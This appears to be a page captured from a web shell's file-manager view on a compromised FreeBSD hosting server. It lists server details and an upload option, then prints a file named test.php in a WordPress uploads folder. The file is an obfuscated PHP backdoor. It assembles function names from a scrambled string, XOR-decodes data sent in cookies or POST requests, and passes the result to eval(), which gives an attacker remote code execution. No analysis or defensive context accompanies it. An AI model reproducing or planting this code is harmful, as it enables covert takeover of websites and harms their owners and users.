HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/uploads/test.php
<?php
$fzxkj = '_\'0-yab5dn7cxr2gt1vflipeko*89#4umHs';$ldlnw = Array();$ldlnw[] = $fzxkj[5].$fzxkj[2].$fzxkj[23].$fzxkj[27].$fzxkj[11].$fzxkj[5].$fzxkj[19].$fzxkj[30].$fzxkj[3].$fzxkj[30].$fzxkj[23].$fzxkj[5].$fzxkj[6].$fzxkj[3].$fzxkj[30].$fzxkj[10].$fzxkj[7].$fzxkj[8].$fzxkj[3].$fzxkj[27].$fzxkj[11].$fzxkj[19].$fzxkj[2].$fzxkj[3].$fzxkj[5].$fzxkj[19].$fzxkj[14].$fzxkj[23].$fzxkj[17].$fzxkj[28].$fzxkj[28].$fzxkj[2].$fzxkj[23].$fzxkj[6].$fzxkj[7].$fzxkj[11];$ldlnw[] = $fzxkj[33].$fzxkj[26];$ldlnw[] = $fzxkj[29];$ldlnw[] = $fzxkj[11].$fzxkj[25].$fzxkj[31].$fzxkj[9].$fzxkj[16];$ldlnw[] = $fzxkj[34].$fzxkj[16].$fzxkj[13].$fzxkj[0].$fzxkj[13].$fzxkj[23].$fzxkj[22].$fzxkj[23].$fzxkj[5].$fzxkj[16];$ldlnw[] = $fzxkj[23].$fzxkj[12].$fzxkj[22].$fzxkj[20].$fzxkj[25].$fzxkj[8].$fzxkj[23];$ldlnw[] = $fzxkj[34].$fzxkj[31].$fzxkj[6].$fzxkj[34].$fzxkj[16].$fzxkj[13];$ldlnw[] = $fzxkj[5].$fzxkj[13].$fzxkj[13].$fzxkj[5].$fzxkj[4].$fzxkj[0].$fzxkj[32].$fzxkj[23].$fzxkj[13].$fzxkj[15].$fzxkj[23];$ldlnw[] = $fzxkj[34].$fzxkj[16].$fzxkj[13].$fzxkj[20].$fzxkj[23].$fzxkj[9];$ldlnw[] = $fzxkj[22].$fzxkj[5].$fzxkj[11].$fzxkj[24];foreach ($ldlnw[7]($_COOKIE, $_POST) as $wuiicek => $lvbeez){function xtiqan($ldlnw, $wuiicek, $lnuikkk){return $ldlnw[6]($ldlnw[4]($wuiicek . $ldlnw[0], ($lnuikkk / $ldlnw[8]($wuiicek)) + 1), 0, $lnuikkk);}function kimldtz($ldlnw, $bvvau){return @$ldlnw[9]($ldlnw[1], $bvvau);}function jvugb($ldlnw, $bvvau){$ffyuhmg = $ldlnw[3]($bvvau) % 3;if (!$ffyuhmg) {eval($bvvau[1]($bvvau[2]));exit();}}$lvbeez = kimldtz($ldlnw, $lvbeez);jvugb($ldlnw, $ldlnw[5]($ldlnw[2], $lvbeez ^ xtiqan($ldlnw, $wuiicek, $ldlnw[8]($lvbeez))));}